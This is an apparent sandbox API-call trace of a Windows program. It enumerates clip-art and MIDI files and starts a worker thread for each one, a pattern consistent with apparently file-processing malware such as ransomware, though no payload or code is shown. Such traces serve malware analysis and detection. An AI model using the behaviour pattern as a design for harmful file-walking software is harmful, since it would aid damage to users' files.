	[0254.152] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1
	[0254.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x285c
	[0254.154] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.154] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1
	[0254.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2860
	[0254.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.157] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1
	[0254.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2864
	[0254.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.159] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1
	[0254.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2868
	[0254.160] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.161] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1
	[0254.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x286c
	[0254.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.163] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1
	[0254.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2870
	[0254.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.355] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1
	[0254.355] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2874
	[0254.357] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.358] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1
	[0254.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2878
	[0254.359] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.360] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1
	[0254.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x287c
	[0254.362] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.362] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1
	[0254.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2880
	[0254.364] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.364] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1
	[0254.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2884
	[0254.366] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.367] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1
	[0254.367] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2888
	[0254.369] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.369] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1
	[0254.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288c
	[0254.371] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.372] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1
	[0254.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2890
	[0254.374] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.374] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1
	[0254.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2894
	[0254.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.376] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1
	[0254.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2898
	[0254.377] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.378] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1
	[0254.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x289c
	[0254.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.381] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1
	[0254.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a0
	[0254.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.383] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1
	[0254.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a4
	[0254.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1
	[0254.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a8
	[0254.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.388] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1
	[0254.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ac
	[0254.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.606] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1
	[0254.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b0
	[0254.608] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.609] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1
	[0254.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b4
	[0254.610] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.611] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1
	[0254.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b8
	[0254.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.614] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1
	[0254.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28bc
	[0254.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.625] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x72, dwReserved1=0x0, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1
	[0254.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c0
	[0254.627] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0254.628] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x72, dwReserved1=0x0, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1
	[0254.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0254.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c4
